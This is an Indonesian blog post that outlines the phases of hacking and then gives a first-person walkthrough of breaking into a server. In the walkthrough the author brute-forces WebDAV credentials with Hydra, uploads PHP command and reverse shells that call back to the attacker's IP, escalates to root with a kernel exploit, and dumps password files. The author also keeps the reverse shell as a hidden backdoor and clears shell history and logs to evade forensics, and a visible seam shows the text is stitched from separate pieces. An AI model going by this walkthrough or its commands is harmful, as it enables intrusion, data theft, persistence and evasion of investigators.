Sabtu, 21 Mei 2016

anatomy hacking



- ANATOMY HACKING -



Reconnaissance

Kegiatan awal seorang Hacker untuk mendapatkan informasi yang pasti tentang targetnya.


Pasive Reconnaissance :
kegiatan memonitor data melalui jaringan komputer, menganalisa dan menarik garis besar dari yang didapatkannya tanpa harus merubah paket datanya
Tingkat Resiko : tidak beresiko
contoh : sniffing, irformation gathering
Active Reconnaissance :
kegiatan untuk menditeksi jaringan.
contoh : mengakses host, mencari port2, letak router, detail OS yang dipergunakan dan services2 aktif

Aplikasi :
* WHOIS > http://whois.idnic.net.id [no tools ]
> http://whois.com [no tools ]
> # whois bla.bla.or.id [jwhois.*.RPM [linux ]]
* Netcraft.com [ no tools ]
* DIG >> record DNS [htdig.*.RPM [linux]]
* Traceroute / Tracert (on windows) [ traceroute.*.RPM [linux]]
* PING [ bundled on OS ]

Scanning
Merupakan tahapan pre-attack dimana Hacker berusaha mengumpulan informasi jaringan yang lebih spesifik dari yang pernah didapatkan pada tahap Reconnaissace
Tingkat Resiko : Tinggi, jika Hackerr bisa mendapatkan kelemahan dari system yang dideteksinya maka Hacker bisa melakukan exploitasi.
contoh : penggunaan Dialers, Port Scanning, Network Mapping, Sweeping, Vulnerability Scanners, dan lain-lain.
Aplikasi :

* NMAP for Linux or Windows
* IPangry Scanner : http://www.angryziber.com/ipscan/
* N-stealh : http://www.nstalker.com/nstealth
* NEssus : http://www.nessus.org/download
* SuperScan : http://www.snapfiles.com/get/superscan.html
* GFI LanGuard

Gaining Access
Merupakan tahapan dimana Hacker telah melakukan proses attack. Hacker melakukan proses exploitasi terhadap system.
Proses exploitasi dilakukan melalui jaringan, internet, kegiatan offline, pencurian.
Tingkat Resiko : Tinggi, jika Hacker dapat melakukan tekanan2 yang sangat tinggi terhadap level operating system, level aplikasi dan level jaringan komputer. Ada beberapa faktor yang membuat aksi ini semakin lancar diantaranya adalah si Hackere telah dapat memperkirakan kondisi arsitektur dan konfigurasi system yang menjadi target, skill level user + admin dan level akses.
contoh : kegiatan BufferOverflows, DoS [Denail of Services], Session Hijacking, Password Filtering, dan lain-lain.
Aplikasi :
> Sniffing : *Keylogger : acme Keylogger
http://www.keyloggers.com/download/pcacme/pca_pro.zip
*Ettercap : http://ettercap.sourceforge.net
*Ethereal : windows : http://www.ethereal.com/download.html, Linux > http://www.ethereal.com/download.html
*Winpcap : http://winpcap.polito.it/ <-- Ethereal windows

> Brute Force :
*Brutus : http://www.hoobie.net/brutus/brutus-download.html
*THC-Hydra : http://thc.org/download.php?t=r&f=hydra-4.6-src.tar.gz
> Cracking passwd :
*John the ripper : http://www.openwall.com/john/

Maintaining Access
Merupakan tahapan dimana Hacker menguasai system dan berusaha memelihara 'kepemilikan' dari system yang telah dikuasainnya. Pada tahapan ini berarti si Hacker telah mengeksplotasi kelemahan, menanam sesuatu kedalam system dan penedekatan menyeluruh terhadap system yang dikuasainya itu artinya si Hacker bisa malakukan proses Upload, download untuk memanipulasi data, menanam aplikasi dan melakukan konfigurasi terhadap system yang di 'miliki'nya, . Disini juga si Hacker berusaha membentuk pertahanan agar apa yang didapatkannya tidak bisa diambil alih oleh oleh administrator mampun hacker lain dengan cara membuat ekslusif akses dengan metoda : Backdooring, RootKits, Trojans dan Trojan Horse Backdoors.
Aplikasi :
* manually add user [No-tools]
* phpshell , cgi-telnet [No tools]

Covering Tracks
Merupakan tahapan dimana Hacker membersihkan jejak agar pemilik system tidak mengetahui kalau systemnya telah dimasuki dan telah di attack oleh orang lain. Alasan kegitan ini dilakukan untuk memperpanjang usia kepemilikan system, dapat mempergunakan sumber daya secara terus menerus, menghilangkan barang bukti kegiatan hacking, membuat aksinya terlihati legal.
contoh : Steganography, tunneling, menghapus file log, dan lain-lain.
Aplikasi :
* remove.c > simple nomad [Scripts]
* simple manually : history -c \
echo " " > .bashhistory / [no tools]
ng berikut penjelasan dari setiap langkah serta contohnya.

Langkah-langkah
  1. Reconnaissance
Reconnaissance secara gramatikal bermakna “Pengintaian”, untuk spesifiknya ialah memetakan jaringan dan menjelajahi sebuah jaringan. Serangan ini dilakukan untuk mencari titik kelemahan dari jaringan yang akan dijadikan korban. Pada langkah ini, keberhasilan seorang hacker ditentukan bagaimana ketelitian dalam mempelajari semua tentang jaringan korban yang akan diincar serta mencari informasi sebanyak-banyaknya. Pada langkah ini, tidak ada suatu bentuk gangguan terhadap jaringan korban.
Ada 2 bentuk aktivitas yang dilakukan dalam langkah Pengintaian ini, antara lain :
  • Passive Reconnaissance : Kegiatan memonitor data melalui jaringan komputer, menganalisa dan menarik kesimpulan dari informasi yang didapat tanpa merubah paket data. Contoh : Sniffing, dan Information Gathering
  • Active Reconnaisance : Kegiatan untuk mendapatkan akses kepada sistem informasi jaringan dengan menelusuri sistem target. Biasanya melibatkan port scanning, firewall maupun router. Proses pemanfaatan sistem kemudian dilakukan setelah hacker telah menemukan cara untuk mengakses sistem. Contoh : Mengakses host, mencari port-port, letak router, dan detail OS yang digunakan.
  1. Scanning
Tahapan pre-attack dimana Hacker mengumpulkan informasi jaringan korban yang lebih spesifik daripada langkah sebelumnya yaitu Reconnaissance. Scanning dapat dianalogikan seperti pencuri yang mencari pintu ataupun jendela yang dapat ditembus. Scanning juga dapat diartikan sebagai bentuk pendeteksian sistem yang masih hidup dan dapat diakses melalui internet dan apa saja service yang ditawarkan. Tahap ini merupakan resiko tinggi, jika hacker dapat menemukan kelemahan dari sebuah sistem, maka Hacker dapat mengeksploitasi jaringan tersebut.
Contoh kegiatan yang dilakukan Hacker dalam langkah ini meliputi : Ping Sweeps, Port Scanning, dan lain-lain.
  1. Gaining Access
Adalah langkah yang paling penting dari Attacking dalam hal potensi kerusakan, meskipun Hacker tidak selalu harus mendapatkan akses ke sistem untuk menyebabkan kerusakan.
Faktor yang memengaruhi kemungkinan penyerang mendapatkan akses ke dalam sistem, meliputi arsitektur dan konfigurasi, skill level user dan admin, dan level akses.
Contoh kegiatan yang dilakukan Hacker dalam langkah ini meliputi : BufferOverFlows, DoS (Denial of Service), Session Hijacking, dan lain-lain.
  1. Maintaining Access
Setelah Hacker memperoleh akses ke jaringan korban, pada langkah ini Hacker menguasai sistem  dan berusaha memelihara “Kepemilikan dari sistem yang telah dikuasainya, yang berarti Hacker telah berhasil mengeksploitasi kelemahan sistem korban. Dengan kata lain, Hacker telah mengambil alih sistem tersebut. Disini juga Hacker dapat  membentuk suatu pertahanan agar sistem yang telah di”miliki”nya tidak dapat diambil kembali oleh administrator maupun Hacker lain yang juga ingin mendapatakan akses terhadap sistem jaringan tersebut.
Organisasi yang diserang juga dapat melakukan pertahanan dengan menggunakan sistem deteksi intrus (IDS) atau menyebarkan Honeypots dan Honeynets untuk mendeteksi Hacker. Dalam hal ini, Organisasi ahrus memiliki keamanan professional yang diperlukan untuk memanfaatkan konsep perlindungan.
Contoh kegiatan yang dilakukan Hacker dalam langkah ini meliputi : Backdooring, RootKits, Trojans, dan Trojan Horse Backdoors.
  1. Clearing Attacks
Langkah dimana Hacker menghapus atau membersihkan jejak, bukti kehadiran, maupun aktivitas agar sistem korban  merasa tidak ada sesuatu yang salah dan juga tentunya untuk menjaga akses terhadap sistem yang telah diambil alih dan menghindari adanya deteksi.
Contoh kegiatan yang dilakukan Hacker dalam langkah ini meliputi : Steganography, Tunneling, menghapus file log dan lain-lain

Hacking Stage 2: Scanning
Tahap berikutnya adalah melakukan scanning pada target untuk memetakan kelemahan dan kekuatan target. Dan tentu saja yang menyenangkan adalah bagian kelemahan target lah.. hehe. Sebenarnya nmap di atas juga bisa dikategorikan melakukan scanning, tapi scanning yang saya lakukan di atas masih tergolong ringan jadi lebih condong tergolong tahap perkenalan (footprinting). Seharusnya stage scanning ini sudah lebih intensif dari sekedar mencari informasi atau dengan kata lain sudah ada beberapa tindakan destruktif ringan yang terjadi pada target. Saya menggunakan software OpenVAS untuk men-scanning target sebagai berikut:
Vulnerability Report pada Target dengan OpenVAS
Vulnerability Report pada Target dengan OpenVAS
Dari hasil scan didapatkan informasi bagian mana saja yang vulnerable pada target. Dengan adanya tahap ini, diharapkan scope hacking semakin menyempit alias kita semakin fokus bagian target mana aja yang sebaiknya kita eksploitasi.
Hacking Stage 3: Enumeration
Tahap enumeration adalah tahap melakukan serangan. Pada tahap inilah ada babak gugur (hacker menyerah), exploitasi gagal, atau exploitasi berhasil hahah. Ini adalah tahap puter-puter otak bagaimana caranya kita bisa masuk ke sistem. Kadang bisa menghabiskan waktu berjam, hari, bulan, taun di tahap ini. Untuk percobaan hacking kali ini, kita coba ambil contoh vulnerability pada WebDAV (module mod_dav Apache) yang dilaporkan sama OpenVAS. Kita fokus dulu untuk hack WebDAV nya…
Biasanya WebDAV ada di direktori /webdav. Default config dan beberapa tutorial webdav juga biasanya mensugesti untuk install webdav di direktori /webdav. Apalagi kalau pada tahap 1 tadi kita dapat info kalau sysadmin target ternyata males ganti nama direktori dan sukanya nelen bulet-bulet tutorial orang di internet (tuh kan penting kenal sysadminnya juga heheh). Mari kita coba enumerasi webdav target..
HTTP Respon 401
HTTP Respon 401
Nah.. bener kan ada folder /webdav/… tapi ternyata untuk masuk folder /webdav/ dibutuhkan authentikasi dulu (terlihat dari respon server HTTP 401 Authorization Required), cuma authorized user yang boleh read dan write isi folder webdav. Sekarang coba masukin user password ngasal… Saya request HTTP HEAD untuk direktori /webdav/ dengan tipe Authorization “Basic” dan username password yang ngasal…
Respon Server Ketika HTTP Auth Salah
Respon Server Ketika HTTP Auth Salah
Terlihat masih sama responnya, HTTP 401 hehe. Username dan password diatas itu sudah dikonversi ke format base64 menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? Hmm untuk mekanisme autentikasi HTTP menurut RFC-2617 adalah “username:password” di-encode menjadi format base64. Jadi untuk contoh ngasal ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” = “administrator:asdf123”. Untuk meng-encode dan decode banyak kok toolnya di internet. Salah satunya yang saya gunakan adalah ini.
Ayo jangan putus asa, kita coba pakai bantuan tools Hydra untuk membruteforce user dan password webdav ini. Akhirnya tidak lama ditemukanlah username dan passwordnya. Binggohh!! login: administrator dengan password: iloveyou hahahay..
Enumerasi WebDAV dengan Bruteforce
Enumerasi WebDAV dengan Bruteforce
Saya memanfaatkan user.lst dan password.lst John The Ripper buat si Hydra melakukan bruteforce. Makanya ada di direktori “john-1.7.7” kalo diteliti konsol di atas ini hehe.. Terlihat juga di atas ternyata dilakukan 9507 percobaan login ke webdav.
Hacking Stage 4: Gaining Access
Tahap ini adalah tahap masuk ke dalam sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika beribu enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial of Service dengan memenuhi service target dengan segelumit (halah) sebanyak-banyak request, sehingga server menjadi sibuk melayani request tersebut. Kalau terlalu sibuk bisa bikin service crash sampai yang paling parah si target bisa restart atau down. Tetapi kalau ternyata di stage sebelumnya salah satu enumerasi berhasil, silahkan bisa baca paragraf selanjutnya di bawah ini hehe.
Gaining access bisa dengan mencari credentials login atau misalnya menginjeksi shellcode pada program/service yang vulnerable sehingga target bisa mengeksekusi binary yang kita inginkan pada systemnya (biasanya sih, prefer kalo target mengeksekusi /bin/sh atau /bin/bash untuk kita sehingga kita bisa dapat shell).
Tetapi untuk contoh kali ini, berhubung di stage sebelumnya kita sudah mendapatkan credentials login (user dan password), mari kita masuk ke webdav menggunakan webdav client bernama Cadaver. Ternyata kita bisa ngapain aja di folder webdav ini. Horray! Hehe.
Break-in ke Direktori /webdav/
Break-in ke Direktori /webdav/
Hacking Stage 5: Escalating Privilege
Tahap ini adalah tahap untuk meningkatkan privilege jika ternyata kita hanya bisa menguasai target dengan privilege terbatas. Skip step ini jika kita sudah dapat root. Hahah.. beruntung sekali langsung dapet root hehe. Tapi untuk contoh kasus kita, di tahap sebelumnya kita sudah masuk ke folder webdav kan.. Nah, sekarang puter otak lagi bagaimana caranya agar saya bisa eskalasi privilege a.k.a menjadi root. Hmm.. Saya coba menggunakan file PHP yang bisa membantu saya mengeksekusi command-command di system target. Pertama-tama sih coba upload dulu file php pake perintah PUT tentu saja… dan ternyata bisa.. Heheh..
Mengupload File ke Folder WebDAV
Mengupload File ke Folder WebDAV
Setelah php_backdoor.php dan php_cmd.php di upload, buka browser kesayangan dan ketik URL http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>. Berikut beberapa yang saya coba dan hasil outputnya:
URL Output
http://192.168.66.87/webdav/php_cmd.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...dst...
http://192.168.66.87/webdav/php_cmd.php?cmd=uname%20-r 2.6.9-55.ELsmp
Hmm saya coba upload file pamungkas bernama “php-reverse-shell.php” yang saya dapat dari http://pentestmonkey.net/tools/web-shells/php-reverse-shell untuk mendapatkan shell target memanfaatkan php. Modifikasi sedikit agar tujuan menuju IP saya dan portnya yang sudah menunggu heheh. Tinggal ketikkan ini di URL:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Sementara netcat (nc) sudah stenbai listening di komputer saya dan spawn the target’s shell.. Horray!
Gaining Root Access
Gaining Root Access
Keterangan gambar di atas:
  • Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya.
  • Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini
  • Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder  /)
  • Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi file httpd.conf/webdav.conf
  • Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9). “linux-sendpage3” ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run” nya
  • Who am I? I’m w00t!
Untuk contoh alternatif lain memasang backdoor saya jelaskan di posting lainnya, disini.
Hacking Stage 6: Pilfering
Tahap ini adalah tahap yang tidak terlalu wajib dilakukan. Menurut kamus sih pilfering artinya pencurian haha… Ya kita bisa mencuri apa saja yang ada pada target. Misalnya dumping file username/password pada system (/etc/passwd dan /etc/shadow), masuk ke database mysql dan jalan-jalan liat table databasenya, atau curi-curi foto dan video. Sapa tau ada video skandal sysadminnya hahah.
Hacking Stage 7: Covering Tracks
Tahap selanjutnya adalah tahap yang biasanya malah lupa dilakukan orang yang berhasil break into target’s system. Padahal tim ahli forensik bisa menangkap kita karena track record ini. Bukti di pengadilan ya track record ini juga. Makanya kalau habis masuk rumah orang tanpa izin jangan lupa di pel tuh bekas lumpur di lantai dan sidik jari di gagang pintu hehe.
Ini contoh log terakhir yang ada di target.. IP kita keliatan toh.. Ooo hahahahah…
Access Log
Access Log
Silahkan berkreasi untuk membersihkan log nya. Contoh di atas ini adalah log HTTP request.. Mungkin bisa di edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session SSH kita juga tentu saja.. jangan lupa. Untuk membuat session SSH tidak tercatat, jangan lupa ketik command ‘unset HISTFILE’ dan ‘history -c’ setelah beraktifitas di shell target. Atau bisa dengan mengetikkan command ‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target sedemikian sehingga variable HISTFILE akan selalu dicatat ke /dev/null (=buang) oleh shell target.
*clue* Di sistem target (karena sistemnya *nix), ada 3 log file penting, yang mencatat..:
  1. WTMP – setiap log in/off, waktu log in/off, tty, host
  2. UTMP – siapa yang online saat ini
  3. Lastlog – dari mana sumber log in terakhir
Lokasi file ini biasanya di /etc/ atau /var/adm/ atau /var/log dsb. Pada posting saya yang lain, saya jelaskan bagaimana cara melakukan covering tracks terhadap 3 file ini.
Hacking Stage 8: Creating Backdoors
Ada banyak cara membuat backdoor. Sesuai arti katanya, backdoor artinya pintu belakang atau jalan alternatif untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah. Kalau bisa dibuat semudah mungkin untuk masuknya. Jangan serumit waktu pertama kali masuk ke target. Contoh backdoor bisa saja menginstall service yang listen pada port rahasia yang memprovide kita akses langsung ke shell target, membuat user baru, dan lain sebagainya.
Untuk contoh kita tadi, backdoor kita tentu saja file php-reverse-shell.php di URL rahasia kita:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Jadi kedepannya kalau kita mau bertamu ke target lagi, tinggal siapin link di atas ini plus netcat di komputer kita yang set listen di port 9999. Tips: kalau bisa nama file backdoornya jangan php-reverse-shell.php… sangat mencurigakan.. hahahah.. sedikit kreatif untuk rename file dan sembunyiin di folder-folder tertentu haha.
Hacking Stage 9: Denial of Service
Denial of Service (DoS) adalah ancaman yang paling sering terjadi di dunia security. Siapa saja bisa melakukan dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan bisa terjadi karena ulah anak-anak alay yang gak ngerti komputer! Sesuai artinya, denial of service ya berarti si target menolak menjalankan service seperti biasanya. Katakanlah target kita adalah website registrasi e-KTP. Denial of service berarti adalah si server target e-KTP tidak bisa menjalankan service e-KTP untuk anda karena terlalu sibuk/down. Bayangkan betapa kecewanya kita dan betapa ruginya instansi e-KTP yang tidak bisa melayani (roda bisnis macet -halah).
Faktor-faktor yang menyebabkan denial of service ada banyak. Ada yang karena diserang ribuan rikues bertubi-tubi terus bikin si server sibuk, sampai yang emang karena si penyerang yang berhasil break-in (seperti kita di stage sebelumnya) sengaja ngetik command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop sama aja dengan menolak layanan web dari client ‘kan??
Ini contoh Denial of Service akibat ulah anak-anak alay yang bahkan gak ngerti hacking sekalipun: (dari Wikipedia)
This describes a situation where a website ends up denied, not due to a deliberate attack by a single individual or group of individuals, but simply due to a sudden enormous spike in popularity. This can happen when an extremely popular website posts a prominent link to a second, less well-prepared site, for example, as part of a news story. The result is that a significant proportion of the primary site’s regular users — potentially hundreds of thousands of people — click that link in the space of a few hours, having the same effect on the target website as a DDoS attack. A VIPDoS is the same, but specifically when the link was posted by a celebrity.
An example of this occurred when Michael Jackson died in 2009. Websites such as Google and Twitter slowed down or even crashed.Many sites’ servers thought the requests were from a virus or spyware trying to cause a Denial of Service attack, warning users that their queries looked like “automated requests from a computer virus or spyware application”.
Untuk contoh melakukan serang DoS kali ini, saya akan serang service Apache target (192.168.66.87) sampai mabok karena request partial content yang bertubi-tubi..
DoS Attack
DoS Attack


Penutup
 Dalam Anatomy of Hacking, memuat langkah-langkah yang diperlukan dalam aktifitas Hacking sehingga dapat dilakukan secara runtut dan terperinci. Banyak cara yang dilakukan dalam setiap langkah dalam Anatomy of Hacking, yang tentunya sangat variatif sehingga akan cukup menyulitkan untuk diatasi. Oleh karena itu, Network Administrator dituntut untuk cepat dan tanggap dalam menghadapi ancaman Hacker yang dapat menyerang kapan saja dan dengan berbagai cara ataupun teknik yang beragam.

sumber : https://blog.tibandung.com/hacking-anatomy-plus-real-hacking-example/